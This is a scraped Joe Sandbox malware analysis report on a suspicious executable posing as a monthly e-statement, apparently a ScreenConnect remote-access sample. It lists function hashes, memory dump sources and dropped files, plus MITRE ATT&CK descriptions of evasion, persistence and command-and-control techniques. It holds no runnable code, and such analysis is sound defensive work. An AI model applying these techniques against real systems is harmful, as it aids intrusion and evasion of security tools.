Opcode Fuzzy Hash: ab2807b801254848d4de8088d3746f3532df925736851dea7fea84b98ed2508f
Instruction Fuzzy Hash: D0E08622A09D3D8FABA9A75C54549757BE0EB687007194195E40DC71A5DD14DC888BC0

Function 00007FFAAC771378 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e778d099978ea43daf0335942888fa0f01c8aee3a9d66771569d3d01802f56
Instruction ID: d82206147fdca3e9eca7b726ae2b9ed279c87ac0dbf59caf8bfbdbfa16387373
Opcode Fuzzy Hash: 20e778d099978ea43daf0335942888fa0f01c8aee3a9d66771569d3d01802f56
Instruction Fuzzy Hash: 10D05B31E09C3D8F6BA9F71C6448D7572D0EB697107054195E41DC72A8DD14DD8587C4

Function 00007FFAAC7743E0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49df250878f1205cf3643e7b607d9ea44cb2bdfaf51e23dd99cae3678d29337d
Instruction ID: 986ea14b410101be2984981af43a1f59248c267fe3cea47e5bbe78ad36fe34cd
Opcode Fuzzy Hash: 49df250878f1205cf3643e7b607d9ea44cb2bdfaf51e23dd99cae3678d29337d
Instruction Fuzzy Hash: 4AE0861594E63B83FB6C533574953B550A4CF06300F0584BA982E810C5CD5CDC9995D1

Function 00007FFAAC777ECA Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f937f5da9919081eb83157cd8e70bd6465bc3c31c938de5f9141d695462a9209
Instruction ID: 57aa640b4fc2b3d274311d6d08dd44e733dfd09c0af9a29748b6f5ee0fe388ac
Opcode Fuzzy Hash: f937f5da9919081eb83157cd8e70bd6465bc3c31c938de5f9141d695462a9209
Instruction Fuzzy Hash: 54D0A701F29D2D4772E4936C24866B802C2F7C965078450B5D40CC334EDC0CDCDB03C1

Function 00007FFAAC772A2F Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87eb376c378d5cf9672845d34ae2718be9e7a19b1351959b29dd63c9920eb7f0
Instruction ID: f34ae14b76ccf3b941b179ae1d5357affc46948aac0cd1fb115cf4ece42ebf43
Opcode Fuzzy Hash: 87eb376c378d5cf9672845d34ae2718be9e7a19b1351959b29dd63c9920eb7f0
Instruction Fuzzy Hash: 78C09B14E1A55AD7F544FB2844451FD51526F89204B50C435D02D8118ACD3CE91555C9

Function 00007FFAAC772771 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0ea1963671ca4ac3f809f1dfa5683d62bdff29b42d71c2f90d43d4650ade340
Instruction ID: bb1cd8da24c49a79ba648a984c9eea9bbce7d102080d33df88854c83eba20701
Opcode Fuzzy Hash: b0ea1963671ca4ac3f809f1dfa5683d62bdff29b42d71c2f90d43d4650ade340
Instruction Fuzzy Hash: 32A00244E0F92AD7F061B71810051BD80514F56604B20C135D07D8169ACD2CED5A15DA

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report monthly-eStatementForum120478962.Client.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Privilege Escalation

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_monthly-eStateme_eb5575aa2fa0d3837c39a30b750445dcd61f0db_c914ffd9_fb45b08d-863c-4b0d-9d1d-07ac80a96b58\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A30.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B1B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B4B.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B68.tmp.csv

Windows Analysis Report
monthly-eStatementForum120478962.Client.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre